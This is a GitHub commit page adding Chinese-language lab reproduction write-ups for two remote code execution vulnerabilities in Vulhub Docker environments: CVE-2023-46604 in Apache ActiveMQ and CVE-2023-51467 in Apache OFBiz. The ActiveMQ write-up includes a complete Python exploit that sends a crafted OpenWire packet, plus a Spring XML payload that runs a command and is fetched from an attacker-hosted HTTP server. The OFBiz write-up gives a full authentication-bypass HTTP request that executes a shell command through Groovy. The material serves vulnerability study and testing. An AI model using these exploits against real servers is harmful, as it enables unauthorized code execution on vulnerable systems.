forked from yywing/Vulhub-Reproduce
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
13 changed files
with
196 additions
and
6 deletions.
There are no files selected for viewing
121 changes: 121 additions & 0 deletions
121
Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞 CVE-2023-46604.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,121 @@ | ||
# Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞 CVE-2023-46604 | ||
|
||
## 漏洞描述 | ||
|
||
Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。 | ||
|
||
OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。 | ||
|
||
参考链接: | ||
|
||
- [https://activemq.apache.org/news/cve-2023-46604](https://activemq.apache.org/news/cve-2023-46604) | ||
- [https://xz.aliyun.com/t/12929](https://xz.aliyun.com/t/12929) | ||
- [https://boogipop.com/2023/11/03/Apache%20ActiveMQ%20CVE-2023-46604%20RCE%20%E5%88%86%E6%9E%90/](https://boogipop.com/2023/11/03/Apache%20ActiveMQ%20CVE-2023-46604%20RCE%20%E5%88%86%E6%9E%90/) | ||
- [https://forum.butian.net/share/2566](https://forum.butian.net/share/2566) | ||
|
||
## 环境搭建 | ||
|
||
ActiveMQ运行后,默认监听如下两个端口: | ||
|
||
|默认端口|默认条件| | ||
|---|---| | ||
|8161 web|需配置才可远程访问| | ||
|61616 tcp|远程访问| | ||
|
||
反序列化漏洞出现在61616端口中。 | ||
|
||
Vulhub 执行如下命令启动一个ActiveMQ 5.17.3版本服务器: | ||
|
||
``` | ||
docker compose up -d | ||
``` | ||
|
||
服务启动后,访问`http://your-ip:8161`检查服务是否运行成功。但实际上利用该漏洞,并不需要能够访问8161端口。 | ||
|
||
 | ||
|
||
## 漏洞复现 | ||
|
||
首先,启动一个HTTP反连服务器,其中包含[poc.xml](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/poc.xml): | ||
|
||
```shell | ||
python3 -m http.server 6666 | ||
``` | ||
|
||
然后,执行[poc.py](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/poc.py),传入的三个参数分别是目标服务器地址、端口,以及包含poc.xml的反连平台URL: | ||
|
||
```shell | ||
python3 poc.py your-ip 61616 http://your-server/poc.xml | ||
``` | ||
|
||
等待执行,几分钟后执行完成。进入ActiveMQ容器: | ||
|
||
``` | ||
docker exec cve-2023-46604-activemq-1 ls -l /tmp | ||
``` | ||
|
||
可见,`touch /tmp/activeMQ-RCE-success`已经被成功执行: | ||
|
||
 | ||
|
||
## 漏洞POC | ||
|
||
[poc.xml](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/poc.xml) | ||
|
||
```xml | ||
<?xml version="1.0" encoding="UTF-8" ?> | ||
<beans xmlns="http://www.springframework.org/schema/beans" | ||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
xsi:schemaLocation="http://www.springframework.org/schema/beans | ||
http://www.springframework.org/schema/beans/spring-beans.xsd"> | ||
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> | ||
<constructor-arg> | ||
<list> | ||
<value>touch</value> | ||
<value>/tmp/activeMQ-RCE-success</value> | ||
</list> | ||
</constructor-arg> | ||
</bean> | ||
</beans> | ||
``` | ||
|
||
[poc.py](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/poc.py) | ||
|
||
```python | ||
import io | ||
import socket | ||
import sys | ||
|
||
|
||
def main(ip, port, xml): | ||
classname = "org.springframework.context.support.ClassPathXmlApplicationContext" | ||
socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
socket_obj.connect((ip, port)) | ||
|
||
with socket_obj: | ||
out = socket_obj.makefile('wb') | ||
# out = io.BytesIO() # 创建一个内存中的二进制流 | ||
out.write(int(32).to_bytes(4, 'big')) | ||
out.write(bytes([31])) | ||
out.write(int(1).to_bytes(4, 'big')) | ||
out.write(bool(True).to_bytes(1, 'big')) | ||
out.write(int(1).to_bytes(4, 'big')) | ||
out.write(bool(True).to_bytes(1, 'big')) | ||
out.write(bool(True).to_bytes(1, 'big')) | ||
out.write(len(classname).to_bytes(2, 'big')) | ||
out.write(classname.encode('utf-8')) | ||
out.write(bool(True).to_bytes(1, 'big')) | ||
out.write(len(xml).to_bytes(2, 'big')) | ||
out.write(xml.encode('utf-8')) | ||
# print(list(out.getvalue())) | ||
out.flush() | ||
out.close() | ||
|
||
|
||
if __name__ == "__main__": | ||
if len(sys.argv) != 4: | ||
print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 " | ||
"http://192.168.0.101:8888/poc.xml") | ||
exit(-1) | ||
main(sys.argv[1], int(sys.argv[2]), sys.argv[3]) | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
# Apache OFBiz 鉴权绕过导致命令执行 CVE-2023-51467 | ||
|
||
## 漏洞描述 | ||
|
||
Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。 | ||
|
||
这个漏洞的原因是对于[CVE-2023-49070](https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2023-49070)的不完全修复。在Apache OFBiz 18.12.10版本中,官方移除了可能导致RCE漏洞的XMLRPC组件,但没有修复权限绕过问题。来自长亭科技的安全研究员利用这一点找到了另一个可以导致RCE的方法:Groovy表达式注入。 | ||
|
||
参考连接: | ||
|
||
- [https://github.com/apache/ofbiz-framework/commit/d8b097f6717a4004acf023dfe929e0e41ad63faa](https://github.com/apache/ofbiz-framework/commit/d8b097f6717a4004acf023dfe929e0e41ad63faa) | ||
- [https://xz.aliyun.com/t/13211](https://xz.aliyun.com/t/13211) | ||
- [https://y4tacker.github.io/](https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/) | ||
|
||
## 环境搭建 | ||
|
||
Vulhub 执行如下命令启动一个Apache OfBiz 18.12.10服务器: | ||
|
||
``` | ||
docker compose up -d | ||
``` | ||
|
||
在等待数分钟后,访问`https://your-ip:8443/accounting`查看到登录页面,说明环境已启动成功。 | ||
|
||
如果是非本地 localhost 启动,Headers 需要包含 `Host: localhost`,否则报错: | ||
|
||
``` | ||
ERROR MESSAGE | ||
org.apache.ofbiz.webapp.control.RequestHandlerException: Domain 60.204.216.3 not accepted to prevent host header injection. You need to set host-headers-allowed property in security.properties file. | ||
``` | ||
|
||
 | ||
|
||
## 漏洞复现 | ||
|
||
直接发送如下请求即可使用Groovy脚本执行`id`命令: | ||
|
||
> Host: localhost | ||
``` | ||
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 | ||
Host: localhost:8443 | ||
Accept-Encoding: gzip, deflate, br | ||
Accept: */* | ||
Accept-Language: en-US;q=0.9,en;q=0.8 | ||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36 | ||
Connection: close | ||
Cache-Control: max-age=0 | ||
Content-Type: application/x-www-form-urlencoded | ||
Content-Length: 55 | ||
groovyProgram=throw+new+Exception('id'.execute().text); | ||
``` | ||
|
||
 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+23.4 KB
...pache ActiveMQ OpenWire 协议反序列化命令执行漏洞 CVE-2023-46604/image-20240104094726313.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+21 KB
...pache ActiveMQ OpenWire 协议反序列化命令执行漏洞 CVE-2023-46604/image-20240104102657021.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+95.5 KB
images/Apache OFBiz 鉴权绕过导致命令执行 CVE-2023-51467/image-20240104105738488.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+172 KB
images/Apache OFBiz 鉴权绕过导致命令执行 CVE-2023-51467/image-20240104105846768.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+95.5 KB
images/Apache OfBiz 反序列化命令执行漏洞 CVE-2023-49070/image-20240104105720312.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.